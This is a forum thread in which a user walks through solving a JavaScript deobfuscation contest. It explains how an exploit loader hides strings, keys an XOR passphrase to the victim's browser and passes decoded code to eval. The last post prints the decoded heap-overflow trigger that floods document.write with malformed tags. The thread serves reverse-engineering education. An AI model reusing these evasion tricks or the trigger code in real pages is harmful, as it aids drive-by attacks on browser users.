+ Reply to Thread
Results 1 to 6 of 6

Thread: JavaScript Deobfuscation Challange on Breaking Point Share/Save - My123World.Com!

  1. #1
    Garage Member c0d3inj3cT will become famous soon enoughc0d3inj3cT will become famous soon enough
    Join Date
    Dec 2010
    Posts
    67
    Blog Entries
    2
    Thanks
    4
    Thanked 59 Times in 30 Posts

    JavaScript Deobfuscation Challange on Breaking Point



    I decided to take some time out and prepare a detailed write up on how I went about solving the JavaScript Deobfuscation Challenge posted on BreakingPoint Systems' Blog recently.

    You can read more about the contest and the scenario given in the challenge here:

    http://www.breakingpointsystems.com/...tions-contest/

    First off, I would like to thank Ricky for setting up this challenge. It was interesting and it really makes you think beyond the normal capabilities of JavaScript language which we most are aware of.

    As you proceed to solve this Obfuscated JavaScript, you will uncover certain facts about JavaScript which will come to you as a surprise.

    The concept:

    The exploit code is encoded using XOR encoding. In order to decode this XOR encoded code, we need a passphrase. There's a nice concept used here.

    The first part of the script will detect the Victim's User Agent and based on that will return a Random PreGenerated Passphrase.

    This passphrase, when XOR'ed with Encoded JavaScript, will yield the plain text.

    It's not as easy at it sounds though. Keep reading to find out more about it.

    Here's a list of the different tricks applied in order to obfuscate the code and make it difficult for the reversers to analyse it:

    Strings represented as numbers using Base Conversion with Radix 32.

    Here, the Radix 32 was represented as a bitwise XOR operation between 2 numbers.

    A bitwise leftshift is essentially equivalent to multiplying the number with 2 (exponent the number of leftshifts)

    Some examples:

    16<<1 = 16 * 2^1 = 32
    2<<4 = 2 * 2^4 = 32
    4<<3 = 4 * 2^3 = 32

    In JavaScript, the toString() function is used to convert a Number to String. When supplied the radix value of 32 to this function, it essentially converts the Base to 32 from decimal.

    An example would help to understand better.

    720094129..toString(16<<1)+""

    720094129 is in Decimal (base 10).
    16<<1 = 32 as we have already seen above.

    720094129..toString(16<<1)+"" = 720094129..toString(32)+""

    We need to find out the Base 32 value for 720094129 in Base 10.

    You can use this site for Base Conversion:

    http://www.convertit.com/go/converti..._converter.asp

    The number, 720094129 in Base 32 is equivalent to the String, length

    720094129..toString(32)+""= length + "" = length

    Representing Numbers as an Expression operating on Strings.

    A clever trick was used to represent numbers, especially small numbers (0-9) as an Expression Operating on a String.

    1 could be represented as the Length of a Single Char.

    'C'[length] = 1

    But we know from above analysis that the string "length" can also be written as: 720094129..toString(32)+""

    so, 'C'[720094129..toString(32)+""] = 1

    In the JavaScript given to us. There are several "if" expressions evaluated. Let's take one as an example and the same approach can be extended to the remaining.

    if(uUHIjMJVFJET.indexOf(String.fromCharCode(0157,1 12,0145,114,97)) != -'Z'[720094129..toString(16<<1)+""])

    'Z'[720094129..toString(16<<1)+""] = 1

    So, the above "if" expression reduces to:

    if(uUHIjMJVFJET.indexOf(String.fromCharCode(0157,1 12,0145,114,97)) != -1)

  2. #2
    Garage Member c0d3inj3cT will become famous soon enoughc0d3inj3cT will become famous soon enough
    Join Date
    Dec 2010
    Posts
    67
    Blog Entries
    2
    Thanks
    4
    Thanked 59 Times in 30 Posts
    This brings us to the next step of Obfuscation.

    String represented as Char Codes.

    Char Codes were represented in different formats, either base 10 (dec), base 8 (oct) and base 16 (hex)

    String.fromCharCode(x)

    This JavaScript function will return the Character Corresponding to the ASCII Code, x.

    Important thing to note here is, the number 'x' passed as an argument to this function, should be in decimal format. It shouldn't be either hex or octal.

    If we look at the above sample "if" expression, we can see some octal entries too.

    I wrote a short Perl Script at the time of the contest which would automatically parse a comma seperated list of a mixture of numbers in different format and convert them all to decimal (base 10) format.

    It turned out to be really useful and saved a lot of time. As you will see later when we come to the stage of XOR decoding. This script saves a lot of time.

    For instance,

    There was an "if" expression in the obfuscated javascript as given below:

    if(uUHIjMJVFJET.indexOf(String.fromCharCode(0157,1 12,0145,114,97)) != -'Z'[720094129..toString(16<<1)+""])
    {
    return String.fromCharCode(0x6d,0x61,0x54,0150,76,0114,01 32,113,0x50,0155,114,0x72,0x46,0x53);
    }

    'Z'[720094129..toString(16<<1)+""] = 'Z'[length] = 1


    if(uUHIjMJVFJET.indexOf(String.fromCharCode(0157,1 12,0145,114,97)) != -1)
    {
    return String.fromCharCode(0x6d,0x61,0x54,0150,76,0114,01 32,113,0x50,0155,114,0x72,0x46,0x53);
    }

    Now we need to simplify the String.fromCharCode section.

    You can use this site to convert String.fromCharCode from a String of Numbers to Characters:

    http://www.gooby.ca/decrypt/decoders/ord2char.php

    If you input, 0157,112,0145,114,97 in the input box on the site, you will get some weird characters:

    p‘ra

    Similarly, try to input, 0x6d,0x61,0x54,0150,76,0114,0132,113,0x50,0155,114 ,0x72,0x46,0x53 and observe the result.

    =6–Lr„q2›rH.5

    This was the reason, I mentioned above. These values should be in base 10 decimal and not octal or hex. In the obfuscated javascript, a mixture of base 10, base 16 and base 8 numbers were included to trick the reverser.

    This is where my script comes in handy and saves us the time.

    0157,112,0145,114,97 = 111,112,101,114,97 = opera
    0x6d,0x61,0x54,0150,76,0114,0132,113,0x50,0155,114 ,0x72,0x46,0x53 = 109,97,84,104,76,76,90,113,80,109,114,114,70,83 = maThLLZqPmrrFS

    Ok, so now our above "if" expression reduces to:

    if(uUHIjMJVFJET.indexOf(opera) != -1)
    {
    return maThLLZqPmrrFS;
    }

    It is important to understand this part of the code. Here, uUHIjMJVFJET variable will store the user agent (in lowercase) of the victim's browser. We check whether or not the victim is using an Opera Browser. If the victim is using Opera Browser then we return a Random PreGenerated Passphrase, "maThLLZqPmrrFS".

    This is the passphrase which will be used to decode the XOR encoded payload which we will see later.

    There are multiple if statements which will check for the different browser types and depending on that, will return the corresponding passphrase.

  3. #3
    Garage Member c0d3inj3cT will become famous soon enoughc0d3inj3cT will become famous soon enough
    Join Date
    Dec 2010
    Posts
    67
    Blog Entries
    2
    Thanks
    4
    Thanked 59 Times in 30 Posts
    Let's look at some more tricks which were used to obfuscate.

    Addition Operation was Replaced with special symbols.

    If you preceed a Number, N with '~' symbol. It becomes -(N+1)

    ~N = -(N+1)
    -~N = N+1

    So, by prefixing -~ to a number N, we are in a way adding 1 to it.

    If you want to add 3 to it, just prefix it with 3 occurences of the above combination of characters.

    -~-~-~N = N +3

    For instance, the "if" expression below,

    if(uUHIjMJVFJET.indexOf((-~-~'zgBq'[720094129..toString(32<<0)+""]>(0x2*-~-~-~'tlk'[720094129..toString(16<<1)+""]+3)?(function ()
    { var bseY="iC",HgWL="z",hhme="q",FTva="pmhJtYe",ohBc="d Z"; return hhme+ohBc+HgWL+FTva+bseY })():421389006..toString(32<<0)+"")) != -'v'[720094129..toString(16<<1)+""]) { return (function () { var BmIT='QW',jEgm='aFa'; return jEgm+BmIT })(); }

    First, we will do all the Conversion from Base 10 to Base 32 to get the corresponding Strings.

    if(uUHIjMJVFJET.indexOf((-~-~'zgBq'[length]>(0x2*-~-~-~'tlk'[length]+3)?(function ()
    { var bseY="iC",HgWL="z",hhme="q",FTva="pmhJtYe",ohBc="d Z"; return hhme+ohBc+HgWL+FTva+bseY })():chrome+"")) != -'v'[length]) { return (function () { var BmIT='QW',jEgm='aFa'; return jEgm+BmIT })(); }

    Focus on this section:

    -~-~'zgBq'[length]>(0x2*-~-~-~'tlk'[length]+3)

    'zgBq'[length] = 4
    -~-~'zgBq'[length] = 4+2 = 6
    -~-~-~'tlk'[length] = 3+3 = 6

    Using this knowledge, we can reduce the above "if" expression to:

    if(uUHIjMJVFJET.indexOf((6>(18)?(function ()
    { var bseY="iC",HgWL="z",hhme="q",FTva="pmhJtYe",ohBc="d Z"; return hhme+ohBc+HgWL+FTva+bseY })():chrome+"")) != -1) { return (function () { var BmIT='QW',jEgm='aFa'; return jEgm+BmIT })(); }

    Let's substitute the variable names:

    if(uUHIjMJVFJET.indexOf(chrome)) != -1)
    {
    return (function () { return aFaQW })();
    }

    There were many places, where you can see, (function () { return x })() entries present. I hope it is obvious that this does nothing but returns the value x.

    so, the "if" expression reduces further to:

    if(uUHIjMJVFJET.indexOf(chrome)) != -1)
    {
    return aFaQW;
    }

    This section of the code, once again looks similar to our previous "if" expression. It returns the random passphrase, aFaQW if the victim's browser is Chrome.

  4. #4
    Garage Member c0d3inj3cT will become famous soon enoughc0d3inj3cT will become famous soon enough
    Join Date
    Dec 2010
    Posts
    67
    Blog Entries
    2
    Thanks
    4
    Thanked 59 Times in 30 Posts
    Continuing this way, we can deobfuscate a considerable amount of the code to the following. I have added in appropriate comments wherever needed:

    function wprcm()
    {
    var uUHIjMJVFJET = navigator.userAgent.toLowerCase(); // retrieves the Browser's User Agent and converts it to lowercase.

    if(uUHIjMJVFJET.indexOf(opera) != -1) // is the browser Opera?
    {
    return maThLLZqPmrrFS; // the Random passphrase which is returned depending on the Browser Type
    }

    if(uUHIjMJVFJET.indexOf(firefox) != -1) // is the browser Firefox?
    {
    return (loMAYcXfkUsG);
    }

    if(uUHIjMJVFJET.indexOf(chrome) != -1) // is the browser Chrome?
    {
    return (aFaQW);
    }

    if(uUHIjMJVFJET.indexOf(safari) != -1) // is the browser Safari?
    {
    return (MjLMl);
    }

    if(uUHIjMJVFJET.indexOf(msie) != -1) // is the browser Microsoft Internet Explorer
    {
    return (nUHCmZfyQBLAg);
    }

    if(uUHIjMJVFJET.indexOf(netscape)) != -1) // is the browser Netscape?
    {
    return (IrNFOz);
    }

    if(uUHIjMJVFJET.indexOf(mozilla/5.0) != -1) // Is the browser Mozilla?
    {
    return VjtxHZHGKWT;
    }

    return HEeeeYBsTMItYY; // If none of the above User Agents were detected then return this value

    }

  5. The Following User Says Thank You to c0d3inj3cT For This Useful Post:

    redred (09-27-2011)

  6. #5
    Garage Member c0d3inj3cT will become famous soon enoughc0d3inj3cT will become famous soon enough
    Join Date
    Dec 2010
    Posts
    67
    Blog Entries
    2
    Thanks
    4
    Thanked 59 Times in 30 Posts
    XOR decoding routine:

    Next, we discuss about the XOR decoding routine.

    function pjSkrbvs(FSzQjtHkbuMDLW, pOtdvHbBav)
    {

    var UMa = [];
    var VfoamYteBIveYp = "";

    while(pOtdvHbBav.length < FSzQjtHkbuMDLW.length)
    {
    pOtdvHbBav += pOtdvHbBav;
    }

    for(i = 1; i <= 255; i++)
    {
    UMa[String.fromCharCode(i)] = i; // ASCII Table
    }

    for(i = 0; i < FSzQjtHkbuMDLW.length; i++)
    {
    VfoamYteBIveYp += String.fromCharCode(UMa[FSzQjtHkbuMDLW.substr(i, 1)] ^ UMa[pOtdvHbBav.substr(i, 1)]); // The XOR decoded result is stored in VfoamYteBIveYp
    }
    return VfoamYteBIveYp; // This returns the XOR decoded String to the eval function to execute

    }

    Further down in the script we can see a call made to the eval function.

    Here, pjSkrbvs() function takes two arguments, one is the unescaped XOR encoded code and the other is the random passphrase required to decode.

    It expands the passphrase according to the length of the XOR encoded code.

    UMa[String.fromCharCode(i)] stores all the ASCII Values for the characters.

    The XOR operation is performed between very character from the XOR encoded string and the expanded passphrase.

    The entire decoded code is present inside the variable, VfoamYteBIveYp

    This is returned to the eval() function which executes it in the context of the browser. In the next post, we discuss more about the code returned to the eval() function.

  7. The Following User Says Thank You to c0d3inj3cT For This Useful Post:

    redred (09-27-2011)

  8. #6
    Garage Member c0d3inj3cT will become famous soon enoughc0d3inj3cT will become famous soon enough
    Join Date
    Dec 2010
    Posts
    67
    Blog Entries
    2
    Thanks
    4
    Thanked 59 Times in 30 Posts
    The decoded code obtained after running the above XOR decoding routine is once again heavily obfuscated. However, the deobfuscation technique used in the first section of the challenge could be extended here as well.

    Here's what you get after deobfuscating the XOR decoded code:

    function LcXiYjzTRSKyzv(jkPfjgfRwzD)
    {
    var yGTthPYIyl = document.createElement(jkPfjgfRwzD);

    yGTthPYIyl.id = (function () { var sBCT="zojNX",PhJW="e",xWwp="HVo",nGNM="CliS",sLOI= "NQ";
    return xWwp+sLOI+PhJW+nGNM+sBCT })();

    document.body.appendChild(yGTthPYIyl);

    var ubEtH = document.getElementById(HVoNQeCliSzojNX);

    var tNYrZqXB = new Array();

    for(ZTAJEHbe in ubEtH)
    {
    if(typeof (ubEtH[ZTAJEHbe]) == (string))
    {
    tNYrZqXB.push(ZTAJEHbe);
    }
    }

    document.body.removeChild(yGTthPYIyl);

    return tNYrZqXB;
    }

    var GVMdCQvWMJCdd = new Array(audio, a, base);

    for(ffCQtDBVDxYg = 0; ffCQtDBVDxYg < (1*(1*031475+7281)+14774); ffCQtDBVDxYg++)
    {
    for(RRaTtnSjJuAO = 0; RRaTtnSjJuAO < GVMdCQvWMJCdd.length; RRaTtnSjJuAO++)
    {
    var tNYrZqXB = LcXiYjzTRSKyzv(GVMdCQvWMJCdd[RRaTtnSjJuAO]);
    for(ZJrkiEirXmcRNQQ = 0; ZJrkiEirXmcRNQQ < tNYrZqXB.length; ZJrkiEirXmcRNQQ++)
    {
    var KeqtLd = "<" + GVMdCQvWMJCdd[RRaTtnSjJuAO] + (String.fromCharCode(32)) + tNYrZqXB[ZJrkiEirXmcRNQQ] + OTe + GVMdCQvWMJCdd[RRaTtnSjJuAO] + ">" + GVMdCQvWMJCdd[RRaTtnSjJuAO];
    document.write(KeqtLd);
    }
    }
    }

    In the challenge we were asked to provide the CVE for this vulnerability. It was an exploit for Remote Heap Overflow Vulnerability in Browser.

    More details about the result can be found here:

    JavaScript Obfuscations Contest: We Have a Winner | BreakingPoint

    I am glad to be in the successful entrants list. Looking forward to more challenges.

  9. The Following 4 Users Say Thank You to c0d3inj3cT For This Useful Post:

    "vinnu" (09-22-2011), abhaythehero (09-23-2011), b0nd (09-23-2011), redred (09-27-2011)

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts